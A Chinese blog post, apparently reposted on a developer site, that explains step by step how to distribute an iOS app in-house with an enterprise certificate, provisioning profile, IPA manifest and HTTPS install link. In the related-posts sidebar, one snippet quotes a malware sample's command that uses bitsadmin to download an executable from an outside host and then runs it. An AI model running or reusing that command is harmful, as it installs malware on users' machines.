文档章节

在企业内部分发 iOS 应用程序

三只脚的猪
 三只脚的猪
发布于 2014/08/19 09:25
字数 2554
阅读 266
收藏 12

在企业内部分发 iOS 应用程序非常复杂。经过努力,我成功实现了在企业内部的应用程序分发。我决定用此文来记录我的最佳实践方法,以供将来参考。

如果你希望通过 Safari 能在任意的 iOS 设备上安装应用程序 (不需要发布到 App Store,也不需要通过 iTunes,以及 MDM – 通过 MDM 方法会用到本文创建的 IPA manifest,那么这篇文章可以帮助你。

在开始发布企业应用之前,需要具备以下条件:

1. 必须是 iOSDeveloper Enterprise Program 中的团队成员 (至少是一个 admin)。每年需要向苹果支付费用 299$。普通的 iOS Developer Program 无法进行企业应用发布。腻味苹果希望额外确保客户能够对你和你的公司信任,所以你需要申请企业计划。公司的 CEO 需要跟苹果签一个合同。

2. 域名需要一个有效的 SSL 证书,该域名用来放置应用程序。没有有效的 SSL 证书,iOS 设备将无法从站点安装应用程序。这样的 SSL 证书也非常昂贵。

下面介绍一下我开发中的相关环境配置。我使用 Xcode 5.1,和 iOS 7.1。我还是一个 iOS Developer Program team admin 成员。互联网上我发现许多过时的相关设置。如果在以后,你发现了错误,或者有更好的解决方案,请回复告诉我!

要想按照本文完成应用的企业分发,必须按照以下内容作为出发点: 1. Xcode 中有一个用于企业级分发的工程。 2. iOS Developer Enterprise Program team 中为此工程创建一个 App ID。稍后将在配置文件中使用到这个 ID。如果还没有准备好这些,先来这里 创建一个恰当的 App ID。此处不再详细介绍如何创建 App ID

在本文中,我们将创建下面这些内容:

1. 创建发布证书 (distribution certificate)

2. 创建配置文件 (provisioning profile)

3. 创建 IPA manifest

创建发布证书 (distribution certificate)

针对企业级发布,需要一个发布证书 (发布证书与开发证书不同)对代码进行签名。这个证书仅对创建发布的应用程序有用。不能在 Xcode 的开发中使用。

如何获得发布证书:在 iOSDev Center 中,导航至 Certificates 小节。这里需要登录到企业开发中心!另外还需要一个至少是 admin 的角色成员 (点击查阅iOS 开发中心更多关于角色介绍)。然后点击 Production,会看到如下内容(敏感部分已经涂黑)

在上图中,列出了创建好的所有证书。如果已经创建了一个发布证书,可以重用。不过,重要的是创建证书时所用的证书签名请求文件。如果这个文件没有,那么在 Keychain 中的证书将不会有对应的私钥,也就不能用这个证书对代码做签名。


如果你已经记不得是否创建过证书,可以先下载相关的证书,然后双击打开它,在 Keychain Access 应用程序中可以看到相关信息。如果在证书的左侧有一个小的箭头,那么说明在你们的 Mac 电脑中已经存储了此证书对应的私钥,也就可以用该证书对代码进行签名。通过单击箭头展开证书,看起来如下图所示:

如果没有箭头,说明还没有私钥。要么就是私钥存储在另外一台 Mac 电脑,那么可以将其传到当前 Mac 电脑中。要么就是你没有私钥,这种情况下,你是不能用这个证书来签名分发应用程序的。解决办法就是:在苹果开发网站中试试别的证书,或者创建一个新的证书:通过在 Mac 电脑中创建一个新的证书签名请求文件。

如果还没有构建的话,通过点击右上角的 ? 按钮来创建发布证书,会看到如下界面 (希望截图与你看到的稍微有点不同)

选中圆形按钮 In-House and Ad Hoc。不知道为何,当我为本文截图时,我无法点击这个按钮。可能是我已经创建了一个发布证书,所以这个按钮不可选。不管怎样,你应该可以选这个按钮的。

在接下来的界面中,会看到这样:

这个界面告诉你如何创建一个 CSR 文件,该文件用于证书的创建。如果你不知道是否已经创建好了这样的一个文件,那么建议在 Spotlight 中输入 certSigningRequest,对电脑中的内容进行搜索。如果有这样一个文件,可以将其用来创建证书,要是没有的话,就手动创建一个。

创建好 CSR 文件之后,点击 Continue 来到下一个界面:

选择 CSR 文件,然后点击 Generate

现在,证书已经创建好了:

将其下载到本地,然后双击安装到 Keychain中。

创建配置文件 (provisioning profile)

要创建用于发布的配置文件,定位到 Provisioning Profiles Distribution小节。然后点击右上角的 ? 按钮。现在看到如下图所示界面:

选中 In House,然后单击 Continue。选择为程序创建的 App ID

然后单击 Continue。现在选择正确的发布证书:

单击 Continue。最后,命名配置文件,然后单击 Generate

下载生成的配置文件,双击安装它:

创建 IPA manifest

打开 Xcode,开始创建 IPA 文件。单击左上角中的项目名称。在中间区域,选择 targets 中的项目名称。选择顶部的 General。在 Team 中,选择 iOS Developer Enterprise Program 团队的名称。(为了本文,我选择了私人账号中的团队,记得用企业团队替代!)

在中间区域,选择 Project 中的工程名。单击顶部的 Build Settings。在 Code Signing 中选择发布证书:

回到中间区域的 target 中。单击项目名称。单击顶部的 Build Settings。在 Debug, Any iOS SDK, Release Any iOS SDK 中选择发布证书。在 provisioning,选择之前创建的配置文件:

记住,上面这样的配置无法从 Xcode 应用程序运行至设备中。这些配置仅用于发布。(你可以点击 ? Xcode 将编译整个工程,并尝试将程序运行到设备或者模拟器中。但是之后会看到一个错误信息)。现在,点击菜单中的 Product –> Archive。如果 Archive 不可用,那么需要在 run scheme 中选择一个真实的 iOS 设备。Run scheme 的意思是:

选择 Archive 将为程序创建一个 archive。位了创建一个 archive,需要按照上面介绍的,安装一个合适的配置文件。archiving 完成之后,Xcode 将在 Organizer 中显示 archive

点击 Distribute...,选择 Save for Enterprise or Ad Hoc Deployment

接着在下拉列表中选择之前创建的配置文件:

接下来的界面中,勾选上 Save for Enterprise Distribution。将会呈现出一些文本框,此处允许你输入一些信息,这些信息将被填入程序的 manifest 文件中。这个 manifest 文件是一个 plist 文件,我们可以用文本编辑器对其编辑。所以,这里填错了没关系,稍后可以对其修改。我填入的信息如下所示:

上面的 URL 就是 IPA 文件在互联网中可被访问的路径。注意:虽然后面的处理过程都是基于 HTTPS 的,不过 IPA URL 必须是 HTTP。(注释:译者尝试过 IPA 的路径可以是 http https,当然不排除以后苹果会严格限制)。


现在,你应该获得了两个文件,IPA 文件和一个 manifest 文件。将它们上传到服务器上 (一般通过 FTP),路径就是在 manifest 文件中指定的相关路径 (本示例的路径是mydomain.com/apps)。现在创建一个 html 文件,文件中包括如下 html 标记:

  1. <a href="itms-services://?action=download-manifest&url=https://mydomain.com/apps/MyInHouseApp.plist" id="text">Install the In-House App</a>

manifest 文件的路径必须是 HTTPS!将 html 文件跟 IPA manifest 文件一起放置到服务器上。

现在我们来了解一下 HTTPS/SSL:为了能够通过互联网安装 IPA 文件,自从 iOS 7.1 以来,苹果就强制要求,manifest 文件必须通过 HTTPS 方式加载。

为了允许 IPA 文件安装成功,HTTPS 连接需要用 SSL 证书来认证,这个证书是从证书签发中心那里针对域名注册得到的。这样的证书非常的昂贵。不过你都已经为 iOS Enterprise Developer Program 支付了299$,那证书的价格就不算什么了。

为了安装 IPA,我们在 iOS 设备的 Safari 中输入 html 文件的 URL 地址( HTTPS 开头),然后点击链接,并确认安装提示。

如果安装过程中又错误提示框,大多数时候这个错误提示框无法定位具体原因。为了找到错误原因,将 iOS 设备连接到电脑,在 Xcode 中的 Organizer 里面选择对应设备中的 Console,就可以看到并分析相关的日志信息:

在上面示例中,我试图使用自签名的证书,通过 HTTPS 来安装程序。但是点击连接之后,我遇到了一个错误提示信息:Cannot connect to johannesluderschmidt.de。通过 Xcode 中的 Console,我看到这些信息:

  1. NSErrorFailingURLStringKey=https://johannesluderschmidt.de/app/appName.plist, NSUnderlyingError=0x165c7f30 “The certificate for this server is invalid. You might be connecting to a server that is pretending to be “johannesluderschmidt.de” which could put your confidential information at risk.”

看吧,Safari 给的提示信息很少,但是在 console 中提供的信息就非常有用。

就是这样啦。非常容易,不是吗?我大约用了一天时间,并查阅了 stackoverflow 中的许多文章就搞定在企业内部分发 iOS 应用程序的技术原理了。

希望你也能很快掌握!


本文转载自:http://mp.weixin.qq.com/s?__biz=MjM5OTM0MzIwMQ==&mid=201066814&idx=1&sn=68625d2bcc2d5d10446004801...

共有 人打赏支持
三只脚的猪
粉丝 7
博文 26
码字总数 2422
作品 0
海口
高级程序员
-- 99美金和299美金的开发者证书的区别 --

iOS Developer Program 目前有三种: 个人版,公司版和企业版。 请您查看: •$ 99 - 个人 - 此计划是为开发者能够自由地创造iPhone / iPod Touch/ iPad的商业应用,并且能够发布他们的应用程...

AK_47
2014/08/20
0
0
Xamarin iOS开发实战1.1.3Xamarin版本

Xamarin iOS开发实战1.1.3Xamarin版本 Xamarin提供了免费版和付费版。免费版本包含Xamarin Studio服务。付费版本分为普通版299美元/年、商业版999美元/年和企业版1899美元/年。开发者可以根据...

大学霸
2014/12/17
0
0
iOS 9应用开发教程之创建iOS 9项目与模拟器介绍

iOS 9应用开发教程之创建iOS 9项目与模拟器介绍 编写第一个iOS 9应用 本节将以一个iOS 9应用程序为例,为开发者讲解如何使用Xcode 7.0去创建项目,以及iOS模拟器的一些功能、编辑界面等内容。...

大学霸
2015/08/06
0
0
福布斯:为什么从现在开始你应该关注谷歌的 Flutter 和 Fuchsia?

福布斯:为什么从现在开始你应该关注谷歌的 Flutter 和 Fuchsia? 2018-07-30 09:56编辑: 枣泥布丁分类:程序人生来源:程序师 谷歌福布斯FuchsiaFlutter 招聘信息: iOS开发 iOS开发 iOS开...

枣泥布丁
07/30
0
0
10个优秀Objective-C和iOS开发在线视频教程

如果你自己开发iOS应用,你肯定会发现网上有很多资源。学习编程的一个最好的方法就是自己写代码,而开始写代码的最快的方式就是看其他人怎么写。我们从海量视频和学习网站中整理出了我们认为...

mingxun
2014/05/09
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
6分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
19分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
21分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
32分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部